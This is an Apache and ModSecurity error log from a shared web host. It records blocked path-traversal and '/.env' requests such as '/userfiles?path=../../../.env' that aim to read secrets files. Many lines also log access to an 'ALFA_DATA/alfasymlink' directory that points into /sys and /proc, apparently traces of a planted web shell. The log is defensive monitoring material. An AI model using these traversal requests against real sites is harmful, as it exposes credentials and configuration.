[Sun Oct 25 13:42:21.504050 2026] [security2:error] [pid 2873153:tid 2873153] [client 34.85.93.218:50884] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI_RAW: /userfiles?path=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "bases1.sherwinpinturas.com"] [uri "/userfiles"] [unique_id "at4_feg9pzNQjEGi_V9rlAAAACY"]
[Sun Oct 25 13:42:21.504074 2026] [security2:error] [pid 2873144:tid 2873144] [client 34.85.93.218:50796] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "bases1.sherwinpinturas.com"] [uri "/static../.env"] [unique_id "at4_fd0xbXd9S994rNKOGwAAABo"]
[Sun Oct 25 13:42:21.504103 2026] [security2:error] [pid 2873153:tid 2873153] [client 34.85.93.218:50884] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /userfiles?path=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "bases1.sherwinpinturas.com"] [uri "/userfiles"] [unique_id "at4_feg9pzNQjEGi_V9rlAAAACY"]
[Sun Oct 25 13:42:21.504133 2026] [security2:error] [pid 2873153:tid 2873153] [client 34.85.93.218:50884] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /userfiles?path=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "bases1.sherwinpinturas.com"] [uri "/userfiles"] [unique_id "at4_feg9pzNQjEGi_V9rlAAAACY"]
[Sun Oct 25 13:42:21.504536 2026] [security2:error] [pid 2873153:tid 2873153] [client 34.85.93.218:50884] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bases1.sherwinpinturas.com"] [uri "/userfiles"] [unique_id "at4_feg9pzNQjEGi_V9rlAAAACY"]
[Sun Oct 25 13:42:21.504804 2026] [security2:error] [pid 2873153:tid 2873153] [client 34.85.93.218:50884] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Path Traversal Attack (/../)"] [tag "event-correlation"] [hostname "bases1.sherwinpinturas.com"] [uri "/userfiles"] [unique_id "at4_feg9pzNQjEGi_V9rlAAAACY"]
[Sun Oct 25 13:42:21.505555 2026] [security2:error] [pid 2873138:tid 2873138] [client 34.85.93.218:50850] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /media../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "bases1.sherwinpinturas.com"] [uri "/media../.env"] [unique_id "at4_fUro6bHDhZQ8Cou1WQAAABQ"]
[Sun Oct 25 13:42:21.505598 2026] [security2:error] [pid 2873138:tid 2873138] [client 34.85.93.218:50850] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /media../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "bases1.sherwinpinturas.com"] [uri "/media../.env"] [unique_id "at4_fUro6bHDhZQ8Cou1WQAAABQ"]
[Sun Oct 25 13:42:21.505719 2026] [security2:error] [pid 2873138:tid 2873138] [client 34.85.93.218:50850] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "bases1.sherwinpinturas.com"] [uri "/media../.env"] [unique_id "at4_fUro6bHDhZQ8Cou1WQAAABQ"]
[Sun Oct 25 13:42:21.505879 2026] [security2:error] [pid 2873138:tid 2873138] [client 34.85.93.218:50850] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bases1.sherwinpinturas.com"] [uri "/media../.env"] [unique_id "at4_fUro6bHDhZQ8Cou1WQAAABQ"]
[Sun Oct 25 13:42:21.506135 2026] [security2:error] [pid 2873138:tid 2873138] [client 34.85.93.218:50850] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "bases1.sherwinpinturas.com"] [uri "/media../.env"] [unique_id "at4_fUro6bHDhZQ8Cou1WQAAABQ"]
[Sun Oct 25 13:42:21.529732 2026] [security2:error] [pid 2873143:tid 2873143] [client 34.85.93.218:51064] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /files../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "bases1.sherwinpinturas.com"] [uri "/files../.env"] [unique_id "at4_fdANyK5EpBCn2dDqgwAAABk"]
[Sun Oct 25 13:42:21.529789 2026] [security2:error] [pid 2873143:tid 2873143] [client 34.85.93.218:51064] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /files../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "bases1.sherwinpinturas.com"] [uri "/files../.env"] [unique_id "at4_fdANyK5EpBCn2dDqgwAAABk"]
[Sun Oct 25 13:42:21.529836 2026] [security2:error] [pid 2873143:tid 2873143] [client 34.85.93.218:51064] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "bases1.sherwinpinturas.com"] [uri "/files../.env"] [unique_id "at4_fdANyK5EpBCn2dDqgwAAABk"]
[Sun Oct 25 13:42:21.529976 2026] [security2:error] [pid 2873143:tid 2873143] [client 34.85.93.218:51064] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bases1.sherwinpinturas.com"] [uri "/files../.env"] [unique_id "at4_fdANyK5EpBCn2dDqgwAAABk"]
[Sun Oct 25 13:42:21.530251 2026] [security2:error] [pid 2873143:tid 2873143] [client 34.85.93.218:51064] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "bases1.sherwinpinturas.com"] [uri "/files../.env"] [unique_id "at4_fdANyK5EpBCn2dDqgwAAABk"]
[Sun Oct 25 13:42:22.902208 2026] [core:error] [pid 2873159:tid 2873159] (13)Permission denied: [client 98.83.94.113:38953] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/system/memory/memory1/node0/cpu0/driver/cpu1/firmware_node/subsystem/drivers/hardware_error_device/bind
[Sun Oct 25 13:42:25.128826 2026] [core:error] [pid 2867876:tid 2867876] (13)Permission denied: [client 185.191.171.9:60986] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ip_mrt_cache/shrink
[Sun Oct 25 13:42:26.819298 2026] [core:error] [pid 2873169:tid 2873169] (13)Permission denied: [client 52.203.237.170:57122] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:02/subsystem/devices/PNP0A03:00/QEMU0002:00/physical_node/driver/bind
[Sun Oct 25 13:42:34.768581 2026] [ssl:error] [pid 2873159:tid 2873159] (70014)End of file found: [client 54.157.84.74:55368] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:42:38.697804 2026] [ssl:error] [pid 2867834:tid 2867834] (70014)End of file found: [client 18.214.186.220:28956] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:42:46.742335 2026] [ssl:error] [pid 2873140:tid 2873140] (70014)End of file found: [client 34.205.163.103:43732] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:43:14.663168 2026] [ssl:error] [pid 2873151:tid 2873151] (70014)End of file found: [client 52.54.15.103:34799] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:43:18.449891 2026] [core:error] [pid 2873140:tid 2873140] (13)Permission denied: [client 3.212.219.113:49320] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/physical_node/0000:00:02.0/graphics/fb0/device/subsystem/devices/0000:00:01.2/subsystem/drivers/piix4_smbus/module/sections/__jump_table
[Sun Oct 25 13:43:22.400864 2026] [ssl:error] [pid 2873139:tid 2873139] (70014)End of file found: [client 52.207.47.227:25258] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:43:30.345385 2026] [core:error] [pid 2873143:tid 2873143] (13)Permission denied: [client 184.73.239.35:4962] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/bus/pnp/devices/00:02/subsystem/drivers/system/bind
[Sun Oct 25 13:43:38.298995 2026] [core:error] [pid 2867834:tid 2867834] (13)Permission denied: [client 100.28.44.58:49164] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/tty/tty50/subsystem/tty62/subsystem/ttyS1/iomem_reg_shift
[Sun Oct 25 13:43:42.305362 2026] [ssl:error] [pid 2873151:tid 2873151] (5)Input/output error: [client 98.80.130.239:53726] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:43:50.248679 2026] [ssl:error] [pid 2873144:tid 2873144] (70014)End of file found: [client 52.3.156.186:34400] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:44:02.412802 2026] [ssl:error] [pid 2873151:tid 2873151] (70014)End of file found: [client 54.210.152.179:61507] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:44:10.340148 2026] [core:error] [pid 2873143:tid 2873143] (13)Permission denied: [client 18.213.240.226:20642] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/sys/class/input/input3/subsystem/mouse0/subsystem/input3/device/driver/unbind
[Sun Oct 25 13:44:14.215745 2026] [ssl:error] [pid 2873153:tid 2873153] (70014)End of file found: [client 44.210.204.255:28287] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:44:18.231621 2026] [ssl:error] [pid 2873172:tid 2873172] (70014)End of file found: [client 34.234.200.207:59832] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:44:58.041880 2026] [core:error] [pid 2867834:tid 2867834] (13)Permission denied: [client 185.191.171.14:13410] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/audit_buffer/partial
[Sun Oct 25 13:45:02.246586 2026] [ssl:error] [pid 2873138:tid 2873138] (70014)End of file found: [client 54.91.122.193:30301] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:45:16.336690 2026] [ssl:error] [pid 2873172:tid 2873172] (70014)End of file found: [client 185.191.171.12:28692] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:45:34.204731 2026] [ssl:error] [pid 2873138:tid 2873138] (70014)End of file found: [client 50.16.216.166:21505] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:45:37.578113 2026] [core:error] [pid 2873143:tid 2873143] (13)Permission denied: [client 185.191.171.10:46302] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/fsnotify_mark_connector/order
[Sun Oct 25 13:45:39.518200 2026] [core:error] [pid 2873153:tid 2873153] (13)Permission denied: [client 85.208.96.208:62080] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/nf-frags/reclaim_account
[Sun Oct 25 13:45:50.206926 2026] [ssl:error] [pid 2873151:tid 2873151] (70014)End of file found: [client 54.152.163.42:14599] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:45:54.193914 2026] [core:error] [pid 2873139:tid 2873139] (13)Permission denied: [client 18.208.11.93:9314] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/tty/tty50/subsystem/tty63/subsystem/ttyS1/xmit_fifo_size
[Sun Oct 25 13:46:02.194418 2026] [ssl:error] [pid 2873140:tid 2873140] (70014)End of file found: [client 52.44.148.203:22978] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:46:04.316150 2026] [authz_core:error] [pid 2873143:tid 2873143] [client 85.208.96.203:30740] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/public_html/hosp4/error_log
[Sun Oct 25 13:46:10.324848 2026] [ssl:error] [pid 2873172:tid 2873172] (70014)End of file found: [client 34.225.24.180:6657] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:46:14.382621 2026] [ssl:error] [pid 2873159:tid 2873159] (70014)End of file found: [client 23.22.105.143:16408] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:46:18.167886 2026] [ssl:error] [pid 2873151:tid 2873151] (70014)End of file found: [client 52.44.229.124:62589] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:46:27.755038 2026] [core:error] [pid 2873138:tid 2873138] (13)Permission denied: [client 185.191.171.16:15408] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/fasync_cache/align
[Sun Oct 25 13:46:30.159015 2026] [ssl:error] [pid 2873143:tid 2873143] (70014)End of file found: [client 98.84.60.17:62768] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:46:54.193327 2026] [ssl:error] [pid 2873139:tid 2873139] (70014)End of file found: [client 3.232.102.111:26907] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:46:56.714519 2026] [authz_core:error] [pid 2873138:tid 2873138] [client 193.8.186.29:44064] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sun Oct 25 13:46:56.866715 2026] [core:crit] [pid 2873140:tid 2873140] (13)Permission denied: [client 193.8.186.29:44066] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sun Oct 25 13:47:02.228974 2026] [ssl:error] [pid 2873144:tid 2873144] (70014)End of file found: [client 35.169.240.53:42796] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:47:08.554453 2026] [security2:error] [pid 2873151:tid 2873151] [client 93.152.221.96:35116] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "162.216.113.238"] [uri "/.env"] [unique_id "at5AnPVVegKXGA0pTecXqwAAACM"]
[Sun Oct 25 13:47:08.554738 2026] [security2:error] [pid 2873151:tid 2873151] [client 93.152.221.96:35116] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/.env"] [unique_id "at5AnPVVegKXGA0pTecXqwAAACM"]
[Sun Oct 25 13:47:08.555682 2026] [security2:error] [pid 2873151:tid 2873151] [client 93.152.221.96:35116] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "at5AnPVVegKXGA0pTecXqwAAACM"]
[Sun Oct 25 13:47:09.048181 2026] [security2:error] [pid 2867834:tid 2867834] [client 93.152.221.96:59960] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "162.216.113.238"] [uri "/.env"] [unique_id "at5AnSjnAS4eJh-ada2M2wAAAA0"]
[Sun Oct 25 13:47:09.048529 2026] [security2:error] [pid 2867834:tid 2867834] [client 93.152.221.96:59960] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/.env"] [unique_id "at5AnSjnAS4eJh-ada2M2wAAAA0"]
[Sun Oct 25 13:47:09.049846 2026] [security2:error] [pid 2867834:tid 2867834] [client 93.152.221.96:59960] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "at5AnSjnAS4eJh-ada2M2wAAAA0"]
[Sun Oct 25 13:47:10.156625 2026] [ssl:error] [pid 2873138:tid 2873138] (70014)End of file found: [client 52.4.213.199:47990] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:47:18.445928 2026] [ssl:error] [pid 2867834:tid 2867834] (70014)End of file found: [client 23.23.180.225:39931] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:47:22.155334 2026] [core:error] [pid 2873134:tid 2873134] (13)Permission denied: [client 44.217.255.167:45053] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:0a/subsystem/devices/PNP0A03:00/wakeup/wakeup7/device/physical_node/0000:00:03.0/subsystem/drivers/virtio-pci/0000:00:04.0/driver/remove_id
[Sun Oct 25 13:47:24.424219 2026] [core:error] [pid 2873136:tid 2873136] (13)Permission denied: [client 185.191.171.18:43392] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-2k/alloc_calls
[Sun Oct 25 13:47:34.162510 2026] [ssl:error] [pid 2862822:tid 2862822] (70014)End of file found: [client 184.73.195.18:22864] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:47:38.151845 2026] [ssl:error] [pid 2870916:tid 2870916] (70014)End of file found: [client 52.4.238.8:14330] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:47:42.147251 2026] [ssl:error] [pid 2862773:tid 2862773] (70014)End of file found: [client 50.17.193.48:61465] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:47:54.261902 2026] [ssl:error] [pid 2873134:tid 2873134] (70014)End of file found: [client 44.195.145.102:31958] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:48:06.322313 2026] [ssl:error] [pid 2862822:tid 2862822] (70014)End of file found: [client 35.172.125.172:60297] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:48:07.166220 2026] [core:error] [pid 2862773:tid 2862773] (13)Permission denied: [client 185.191.171.12:29240] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_prealloc_space/remote_node_defrag_ratio
[Sun Oct 25 13:48:10.168696 2026] [ssl:error] [pid 2873042:tid 2873042] (70014)End of file found: [client 44.213.202.136:45669] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:48:26.149980 2026] [core:error] [pid 2873042:tid 2873042] (13)Permission denied: [client 52.4.229.9:48708] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pnp0/00:01/firmware_node/subsystem/devices/device:05/wakeup/wakeup5/device/physical_node/driver/0000:00:05.0/virtio2/subsystem/drivers/virtio_balloon/unbind
[Sun Oct 25 13:48:26.965282 2026] [ssl:error] [pid 2862773:tid 2862773] (70014)End of file found: [client 85.208.96.209:42290] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:48:42.161732 2026] [ssl:error] [pid 2873134:tid 2873134] (70014)End of file found: [client 35.169.102.85:31588] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:48:46.163761 2026] [ssl:error] [pid 2867879:tid 2867879] (70014)End of file found: [client 3.216.227.216:12497] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:48:56.537176 2026] [security2:error] [pid 2873042:tid 2873042] [client 91.92.242.37:37484] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/.env"] [unique_id "at5BCLc82c1J4zoyxalWUgAAAAI"]
